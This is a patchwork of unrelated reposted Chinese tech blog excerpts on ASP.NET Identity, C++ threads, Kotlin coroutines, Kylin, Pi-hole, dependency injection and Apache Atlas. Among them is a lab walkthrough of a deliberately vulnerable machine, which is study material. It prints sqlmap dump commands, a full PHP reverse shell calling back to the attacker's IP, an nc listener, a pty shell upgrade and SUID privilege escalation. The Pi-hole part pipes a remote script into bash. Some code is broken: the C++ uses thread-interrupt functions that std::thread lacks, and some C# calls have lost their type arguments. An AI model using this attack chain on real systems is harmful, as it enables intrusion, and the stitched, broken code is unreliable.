ident);... 15.4.2 Testing Google Authentication 15.4.2 测试Google认证 There is one further change that I need to make before I can test Google authentication: I need to change the account verification I set up in Chapter 13 because it prevents accounts from being created with e-mail addresses that are not within the example.com domain. Listing 15-25 shows how I removed the verification from the AppUserManager class. 在测试Google认证之前还需要一处修改：需要修改第13章所建立的账号验证，因为它不允许example.com域之外的E-mail地址创建账号。清单15-25显示了如何在AppUserManager类中删除这种验证。 Listing 15-25. Disabling Account Validation in the AppUserManager.cs File 清单15-25. 在AppUserManager.cs文件中取消账号验证 using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Microsoft.AspNet.Identity.Owin;using Microsoft.Owin;using Users.Models; namespace Users.Infrastructure {public class AppUserManager : UserManager<AppUser> {public AppUserManager(IUserStore<AppUser> store): base(store) {}public static AppUserManager Create(IdentityFactoryOptions<AppUserManager> options,IOwinContext context) {AppIdentityDbContext db = context.Get<AppIdentityDbContext>();AppUserManager manager = new AppUserManager(new UserStore<AppUser>(db)); manager.PasswordValidator = new CustomPasswordValidator {RequiredLength = 6,RequireNonLetterOrDigit = false,RequireDigit = false,RequireLowercase = true,RequireUppercase = true}; //manager.UserValidator = new CustomUserValidator(manager) {// AllowOnlyAlphanumericUserNames = true,// RequireUniqueEmail = true//};return manager;} }} Tip you can use validation for externally authenticated accounts, but I am just going to disable the feature for simplicity. 提示：也可以使用外部已认证账号的验证，但这里出于简化，取消了这一特性。 To test authentication, start the application, click the Log In via Google button, and provide the credentials for a valid Google account. When you have completed the authentication process, your browser will be redirected back to the application. If you navigate to the /Claims/Index URL, you will be able to see how claims from the Google system have been added to the user’s identity, as shown in Figure 15-7. 为了测试认证，启动应用程序，通过点击“Log In via Google（通过Google登录）”按钮，并提供有效的Google账号凭据。当你完成了认证过程时，浏览器将被重定向回应用程序。如果导航到/Claims/Index URL，便能够看到来自Google系统的声明（Claims），已被添加到用户的标识中了，如图15-7所示。 Figure 15-7. Claims from Google 图15-7. 来自Google的声明（Claims） 15.5 Summary 15.5 小结 In this chapter, I showed you some of the advanced features that ASP.NET Identity supports. I demonstrated the use of custom user properties and how to use database migrations to preserve data when you upgrade the schema to support them. I explained how claims work and how they can be used to create more flexible ways of authorizing users. I finished the chapter by showing you how to authenticate users via Google, which builds on the ideas behind the use of claims. 本章向你演示了ASP.NET Identity所支持的一些高级特性。演示了自定义用户属性的使用，还演示了在升级数据架构时，如何使用数据库迁移保护数据。我解释了声明（Claims）的工作机制，以及如何将它们用于创建更灵活的用户授权方式。最后演示了如何通过Google进行认证结束了本章，这是建立在使用声明（Claims）的思想基础之上的。 本篇文章为转载内容。原文链接：https://blog.csdn.net/gz19871113/article/details/108591802。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...<< "Working...\n"; // 检查中断点，若被中断则抛出异常 if (std::this_thread::interruption_requested()) { throw ThreadInterruptedException("Thread interrupted by request."); } // 短暂休眠 std::this_thread::sleep_for(std::chrono::seconds(1)); } } catch (const ThreadInterruptedException& e) { std::cerr << "Caught exception: " << e.what() << '\n'; } } int main() { std::thread worker(longRunningTask); // 稍后决定中断线程 std::this_thread::sleep_for(std::chrono::seconds(5)); worker.interrupt(); // 等待线程结束（可能是因为中断） worker.join(); std::cout << "Main thread finished.\n"; return 0; } 在这个例子中，我们首先创建了一个自定义异常类ThreadInterruptedException，当检测到中断请求时，在longRunningTask函数内部抛出。然后，在main函数中启动线程执行该任务，并在稍后调用worker.interrupt()发起中断请求。在运行的过程中，线程会时不时地瞅一眼自己的中断状态，如果发现那个标志被人悄悄设定了，它就会立马像个急性子一样抛出异常，然后毫不犹豫地跳出循环。 4. 思考与探讨 虽然C++标准库并未内置ThreadInterruptedException，但我们能够通过上述方式模拟其行为，这为程序提供了更为灵活且可控的线程管理手段。不过，这里要敲个小黑板强调一下，线程中断并不是什么霸道的硬性停止手段，它更像是个君子协定。所以在开发多线程应用的时候，咱们程序员朋友得把这个线程中断机制吃得透透的，合理地运用起来，确保线程在关键时刻能够麻溜儿地、安全无虞地退出舞台哈。 总结来说，理解和掌握线程中断异常对于提升C++多线程编程能力至关重要。想象一下，如果我们模拟一个ThreadInterruptedException，就像是给线程们安排了一个默契的小暗号，当它们需要更好地协同工作、同步步伐时，就可以更体面、更灵活地处理这些情况。这样一来，我们的程序不仅更容易维护，也变得更加靠谱，就像一台精密的机器，每个零件都恰到好处地运转着。

...fun doSomeWork(): String { delay(1000L) return "Done!" } fun main() = runBlocking { val job = launch { val result = doSomeWork() println(result) } // 主线程可以继续做其他事情... println("Doing other work...") job.join() // 等待协程完成 } 在这段代码中，doSomeWork是一个挂起函数，它会在执行到delay时暂停协程，但不会阻塞主线程。这样，主线程可以继续执行其他任务（如打印"Doing other work..."），直到协程完成后再获取结果。 思考一下： - 挂起函数是如何帮助你编写非阻塞代码的？ - 你能想象在你的应用中使用这种技术来提升用户体验吗？ 4. 协程上下文与调度器 最后，我们来谈谈协程的上下文和调度器。协程上下文包含了运行协程所需的所有信息，包括调度器、异常处理器等。调度器决定了协程在哪个线程上执行。Kotlin提供了多种调度器，如Dispatchers.Default用于CPU密集型任务，Dispatchers.IO用于I/O密集型任务。 kotlin import kotlinx.coroutines. fun main() = runBlocking { withContext(Dispatchers.IO) { println("Running on ${Thread.currentThread().name}") } } 在这段代码中，我们使用withContext切换到了Dispatchers.IO调度器，这样协程就会在专门处理I/O操作的线程上执行。这种方式可以帮助你更好地管理和优化协程的执行环境。 思考一下： - 你知道如何根据不同的任务类型选择合适的调度器吗？ - 这种策略对于提高应用性能有多大的影响？ 结语 好了，朋友们，这就是今天的分享。读了这篇文章后，我希望大家能对Kotlin里的协程和并发编程有个初步的认识，说不定还能勾起大家深入了解协程的兴趣呢！记住，编程不仅仅是解决问题，更是享受创造的过程。希望你们在学习的过程中也能找到乐趣！ 如果你有任何问题或者想了解更多内容，请随时留言交流。我们一起进步，一起成长！

...urce.hdfs-working-dir=hdfs://ClusterA:8020/user/kylin/ kylin.storage.hbase.rest-url=http://ClusterA:60010/ 这里，我们设置了HDFS的工作目录以及HBase REST服务的URL地址，确保Kylin能访问到ClusterA上的数据。 2.2 配置数据源连接器（JDBC） 对于关系型数据库作为数据源的情况，还需要配置相应的JDBC连接信息。例如，若ClusterB上有一个MySQL数据库： properties kylin.source.jdbc.url=jdbc:mysql://ClusterB:3306/mydatabase?useSSL=false kylin.source.jdbc.user=myuser kylin.source.jdbc.pass=mypassword 3. 创建项目及模型并关联远程表 接下来，在Kylin的Web界面创建一个新的项目，并在该项目下定义数据模型。在选择数据表时，Kylin会根据之前配置的HDFS和JDBC连接信息自动发现远程集群中的表。 - 创建项目：在Kylin管理界面点击"Create Project"，填写项目名称和描述等信息。 - 定义模型：在新建的项目下，点击"Model" -> "Create Model"，添加从远程集群引用的表，并设计所需的维度和度量。 4. 构建Cube并对跨集群数据进行查询 完成模型定义后，即可构建Cube。Kylin会在后台执行MapReduce任务，读取远程集群的数据并进行预计算。构建完成后，您便可以针对这个Cube进行快速、高效的查询操作，即使这些数据分布在不同的集群上。 bash 在Kylin命令行工具中构建Cube ./bin/kylin.sh org.apache.kylin.tool.BuildCubeCommand --cube-name MyCube --project-name MyProject --build-type BUILD 至此，通过精心配置和一系列操作，您的Kylin环境已经成功支持了跨集群的数据源查询。在这一路走来，我们不断挠头琢磨、摸石头过河、动手实践，不仅硬生生攻克了技术上的难关，更是让Kylin在各种复杂环境下的强大适应力和灵活应变能力展露无遗。 总结起来，配置Kylin支持跨集群查询的关键在于正确设置数据源连接，并在模型设计阶段合理引用这些远程数据源。每一次操作都像是人类智慧的一次小小爆发，每查询成功的背后，都是我们对Kylin功能那股子钻研劲儿和精心打磨的成果。在这整个过程中，我们实实在在地感受到了Kylin这款大数据处理神器的厉害之处，它带来的便捷性和无限可能性，真是让我们大开眼界，赞不绝口啊！

...at the network level. You image a Pi, set up your network to use that Pi as a DNS server and maybe white-list a few sites when things don't work. PiKong是Raspbery Pi设备，在网络级别采用DNS阻止程序的形式。 您对Pi进行映像，将网络设置为将该Pi用作DNS服务器，并在无法正常工作时将一些站点列入白名单。 I was initially skeptical, but I'm giving it a try. It doesn't process all network traffic, it's a DNS hop on the way out that intercepts DNS requests for known problematic sites and serves back nothing. 最初我对此表示怀疑，但现在尝试一下。 它不会处理所有网络流量，它是途中的DNS跃点，可拦截对已知问题站点的DNS请求，并且不提供任何服务。 Installation is trivial if you just run unread and untrusted code from the 'net ;) 如果您只是从'net;)运行未读和不受信任的代码，则安装很简单。 curl -sSL https://install.pi-hole.net | bash Otherwise, follow their instructions and download the installer, study it, and run it. 否则，请遵循他们的指示并下载安装程序，对其进行研究并运行。 I put my pi-hole installation on the metal, but there's also a very nice Docker Pi-hole setup if you prefer that. You can even go further, if, like me, you have Synology NAS which can also run Docker, which can in turn run a Pi-hole. 我将pi-hole安装在金属上，但是如果您愿意的话，还有一个非常好的Docker Pi-hole设置。 如果像我一样，如果您拥有也可以运行Docker的Synology NAS ，那么它甚至可以运行Pi-hole，您甚至可以走得更远。 Within the admin interface you can tail the logs for the entire network, which is also amazing to see. You think you know what's talking to the internet from your house - you don't. Everything is logged and listed. After installing the Pi-hole roughly 18% of the DNS queries heading out of my house were blocked. At one point over 23% were blocked. Oy. 在管理界面中，您可以跟踪整个网络的日志，这也很令人惊讶。 您认为自己知道从家里到互联网的谈话内容，而您却不知道。 一切都记录并列出。 安装完Pi漏洞后，大约有18％的DNS查询从我家出来。 一度超过23％被阻止。 哦 NOTE: If you're using an Amplifi HD or any "clever" router, you'll want to change the setting "Bypass DNS cache" otherwise the Amplifi will still remain the DNS lookup of choice on your network. This setting will also confuse the Pi-hole and you'll end up with just one "client" of the Pi-hole - the router itself. 注意：如果您使用Amplifi HD或任何“智能”路由器，则需要更改设置“绕过DNS缓存”，否则Amplifi仍将是您网络上首选的DNS查找。 此设置还会混淆PiKong，您最终只会得到PiKong的一个“客户端”，即路由器本身。 For me it's less about advertising - especially on small blogs or news sites I want to support - it's about just obnoxious tracking cookies and JavaScript. I'm going to keep using Pi-hole for a few months and see how it goes. Do be aware that some things WILL break. Could be a kid's iPhone free-to-play game that won't work unless it can download an add, could be your company's VPN. You'll need to log into http://pi.hole/admin (make sure you save your password when you first install, and you can only change it at the SSH command line with "pihole -a -p") and sometimes disable it for a few minutes to test, then whitelist certain domains. I suspect after a few weeks I'll have it nicely dialed in. 对我来说，它与广告无关，尤其是在我要支持的小型博客或新闻网站上，它只是关于令人讨厌的跟踪cookie和JavaScript。 我将继续使用Pi-hole几个月，看看效果如何。 请注意，有些事情会中断。 可能是一个孩子的iPhone免费游戏，除非可以下载附件，否则它将无法正常工作，可能是您公司的VPN。 您需要登录http：//pi.hole/admin (确保在首次安装时保存密码，并且只能在SSH命令行中使用“ pihole -a -p”更改密码)，有时将其禁用几分钟以进行测试，然后将某些域列入白名单。 我怀疑几周后我会拨好电话。 翻译自: https://www.hanselman.com/blog/blocking-ads-before-they-enter-your-house-at-the-dns-level-with-pihole-and-a-cheap-raspberry-pi pi-hole 本篇文章为转载内容。原文链接：https://blog.csdn.net/cunfusq0176/article/details/109051003。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

... { void DoWork(); } public class Service : IService { public void DoWork() { Console.WriteLine("Doing work..."); } } 假设我们有一个Service类实现了IService接口，现在我们需要在程序中使用这个服务。按照传统的做法，可能会直接在类内部实例化： csharp public class Worker { private readonly IService _service = new Service(); public void Execute() { _service.DoWork(); } } 这种方式看起来没什么问题，但实际上隐藏着巨大的隐患。比如，如果你需要替换Service为其他实现（比如MockService），你就得修改Worker类的代码。这违背了开闭原则。 于是，我们引入了依赖注入框架，比如Microsoft的Microsoft.Extensions.DependencyInjection。让我们看看如何正确配置。 --- 3. 正确配置 DI容器的正确姿势 首先，你需要注册服务。比如，在Program.cs文件中： csharp using Microsoft.Extensions.DependencyInjection; var services = new ServiceCollection(); services.AddTransient(); var serviceProvider = services.BuildServiceProvider(); 这里的关键点在于Transient这个词。它表示每次请求时都会生成一个新的实例。对了，还有别的选择呢，比如说 Scoped——在一个作用域里大家用同一个实例，挺节省资源的；再比如 Singleton——在整个应用跑着的时候大家都用一个“独苗”实例，从头到尾都不换。选择合适的生命周期很重要，否则可能会导致意想不到的行为。 接下来，我们可以通过依赖注入获取实例： csharp public class Worker { private readonly IService _service; public Worker(IService service) { _service = service; } public void Execute() { _service.DoWork(); } } 在这个例子中，Worker类不再负责创建IService的实例，而是由DI容器提供。这种解耦的方式让代码更加灵活。 --- 4. 配置错误 常见的坑 然而，现实总是比理想复杂得多。以下是一些常见的DI配置错误，以及它们可能带来的后果。 4.1 注册类型时搞错了 有时候我们会不小心把类型注册错了。比如： csharp services.AddTransient(); // 想注册MockService，却写成了Service 结果就是，无论你在代码中怎么尝试，拿到的永远是Service而不是MockService。其实这个坑挺容易被忽略的，毕竟编译器又不报错，一切都看起来风平浪静，直到程序跑起来的时候，问题才突然冒出来，啪叽一下给你整一个大 surprise！ 我的建议是，尽量使用常量或者枚举来定义服务名称，这样可以减少拼写错误的风险： csharp public static class ServiceNames { public const string MockService = "MockService"; public const string RealService = "RealService"; } services.AddTransient(ServiceNames.MockService, typeof(MockService)); 4.2 生命周期设置不当 另一个常见的问题是生命周期设置错误。比如说，你要是想弄个单例服务，结果不小心把它设成了 Transient，那每次调用的时候都会新生成一个实例。这就好比你本来想让一个人负责一件事，结果每次都换个人来干，不仅效率低得让人崩溃，搞不好还会出大乱子呢！ csharp // 错误示范 services.AddTransient(); // 正确示范 services.AddSingleton(); 记住，单例模式适用于那些无状态或者状态不重要的场景。嘿，想象一下，你正在用一个数据库连接池这种“有状态”的服务，要是把它搞成单例模式，那可就热闹了——多个线程或者任务同时去抢着用它，结果就是互相踩脚、搞砸事情，什么竞争条件啦、数据混乱啦，各种麻烦接踵而至。就好比大家伙儿都盯着同一个饼干罐子，都想伸手拿饼干，但谁也没个规矩，结果不是抢得太猛把罐子摔了，就是谁都拿不痛快。所以啊，这种情况下，还是别让单例当这个“独裁者”了，分清楚责任才靠谱！ 4.3 忘记注册依赖 有时候，我们可能会忘记注册某些依赖项。比如： csharp public class SomeClass { private readonly IAnotherService _anotherService; public SomeClass(IAnotherService anotherService) { _anotherService = anotherService; } } 如果IAnotherService没有被注册到DI容器中，那么在运行时就会抛出异常。为了避免这种情况，你可以使用AddScoped或AddTransient来确保所有依赖都被正确注册。 --- 5. 探讨与总结 通过今天的讨论，我们可以看到，虽然依赖注入能够极大地提高代码的质量和可维护性，但它并不是万能的。设置搞错了，那可就麻烦大了，小到一个单词拼错了，大到程序跑偏、东西乱套，什么幺蛾子都可能出现。 我的建议是，在使用DI框架时要多花时间去理解和实践。不要害怕犯错，因为正是这些错误教会了我们如何更好地编写代码。同时，也要学会利用工具和日志来帮助自己排查问题。 最后，我想说的是，编程不仅仅是解决问题的过程，更是一个不断学习和成长的过程。希望大家能够在实践中找到乐趣，享受每一次成功的喜悦！ 好了，今天的分享就到这里啦，如果你有任何疑问或者想法，欢迎随时留言交流哦！😄

...should be working fine subsequently. This works better with VirtualBox rather than VMware 一、搭建靶机环境 攻击机Kali： IP地址：192.168.184.128 靶机： IP地址：192.168.184.149 注：靶机与Kali的IP地址只需要在同一局域网即可（同一个网段,即两虚拟机处于同一网络模式） 二、实战 2.1网络扫描 2.1.1 启动靶机和Kali后进行扫描 方法一、arp-scan -I eth0 -l （指定网卡扫） arp-scan -I eth0 -l 方法二、masscan 扫描的网段 -p 扫描端口号 masscan 192.168.184.0/24 -p 80,22 方法三、netdiscover -i 网卡-r 网段 netdiscover -i eth0 -r 192.168.184.0/24 方法四、等你们补充 2.1.2 查看靶机开放的端口 使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口 可以发现有 2 个端口开放，22 和 80 2.1.3 尝试访问靶机网页 2.2枚举漏洞 22 端口分析 一般只能暴力破解，暂时没有合适的字典 80 端口分析 访问网站， 发现是一个登陆页面 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)] 成功登录后 尝试手工注入：x' or 1=1 成功返回所有信息，说明存在SQL注入 2.3漏洞利用 2.3.1 sqlmap 利用注入漏洞 使用 burp 抓查询数据包 POST /welcome.php HTTP/1.1Host: 192.168.184.149Content-Length: 23Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.184.149Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.184.149/welcome.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3Connection: closesearch=x 将数据包保存为文件 hackme1.txt 使用 sqlmap 跑一下测试漏洞并获取数据库名： 🚀 python sqlmap.py -r hackme1.txt --dbs --batch [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DjhXfuV9-1650016495544)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110171527015.png)] 数据库除了基础数据库有webapphacking 接下来咱们获取一下表名 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)] 可以得到两个表books和users 咱们先获取一下users表的信息 🚀 python sqlmap.py -r hackme1.txt --batch -D webapphacking -T users --dump --batch 可以看到有一个superadmin，超级管理员，看起来像一个md5 扩展 在线解密md5网站 国内MD5解密： http://t007.cn/ https://cmd5.la/ https://cmd5.com/ https://pmd5.com/ http://ttmd5.com/ https://md5.navisec.it/ http://md5.tellyou.top/ https://www.somd5.com/ http://www.chamd5.org/ 国外MD5解密： https://www.md5tr.com/ http://md5.my-addr.com/ https://md5.gromweb.com/ https://www.md5decrypt.org/ https://md5decrypt.net/en/ https://md5hashing.net/hash/md5/ https://hashes.com/en/decrypt/hash https://www.whatsmyip.org/hash-lookup/ https://www.md5online.org/md5-decrypt.html https://md5-passwort.de/md5-passwort-suchen 解出来密码是：Uncrackable 登录上去，发现有上传功能 2.3.2 文件上传漏洞 getshell 将 kali 自带的 php-reverse-shell.php 复制一份到 查看文件内容，并修改IP地址 <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '192.168.184.128'; // CHANGE THIS$port = 6666; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听：nc -lvp 6666 访问后门文件：http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹：http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash：python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了，换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询：touchmenot 没找到 尝试运行程序：发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这？ 总结 本节使用的工具和漏洞比较基础，涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具：sqlmap 抓包工具：burpsuite Webshell 后门：kali 内置后门 Suid 提权：touchmenot 提权 本篇文章为转载内容。原文链接：https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...工程" } ], "work": [ { "company": "腾讯科技", "position": "软件工程师", "duration": "2017-2019" }, { "company": "百度公司", "position": "高级工程师", "duration": "2020-至今" } ] } 上面的Json源码表示一个人的基础信息和教育、职业经历。我们可以根据这份源码来创建表单，并在在微信平台上进行数据的收集和处理。Json表单模板代码的好处在于，它的层次分明，各个项目都有明确的含义，开发者可以根据需求自由地添加、修改或删除表单字段。同时，Json表单数据也易于传输和解析，让开发工作更加高效和便捷。

...as的内存使用情况 mem_usage=$(cat /proc/$PPID/status | grep VmSize) 获取Apache Atlas的CPU占用率 cpu_usage=$(top -b -n 1 | grep "Apache Atlas" | awk '{print $2}') echo "Apache Atlas的内存使用情况：$mem_usage" echo "Apache Atlas的CPU占用率：$cpu_usage" 这段代码会定时获取Apache Atlas的内存使用情况和CPU占用率，并将其打印出来。你可以根据自己的需求调整这段代码，使其符合你的实际情况。 三、Apache Atlas的运行状态监控 除了监控Apache Atlas的性能之外，你还需要监控其运行状态。这不仅限于查看Apache Atlas是不是运行得顺顺利利的，还要瞧瞧它有没有闹什么幺蛾子，比如蹦出些错误消息或者警告提示啥的。你可以通过检查Apache Atlas的操作系统日志文件来实现这一目标。 代码示例： bash !/bin/bash 检查Apache Atlas是否正在运行 if ps aux | grep "Apache Atlas" > /dev/null then echo "Apache Atlas正在运行" else echo "Apache Atlas未运行" fi 检查Apache Atlas的日志文件 log_file="/var/log/apache-atlas/atlas.log" if [ -f "$log_file" ] then echo "Apache Atlas的日志文件存在" else echo "Apache Atlas的日志文件不存在" fi 这段代码会检查Apache Atlas是否正在运行，以及Apache Atlas的日志文件是否存在。如果Apache Atlas没有运行，那么这段代码就会打印出相应的提示信息。同样，如果Apache Atlas的日志文件不存在，那么这段代码也会打印出相应的提示信息。 四、结论 总的来说，监控Apache Atlas的性能和运行状态是非常重要的。定期检查这些指标，就像给Apache Atlas做体检一样，一旦发现有“头疼脑热”的小毛病，就能立马对症下药，及时解决，这样就能确保它一直保持健康稳定的运行状态，妥妥地发挥出应有的可靠性。另外，你完全可以根据这些指标对Apache 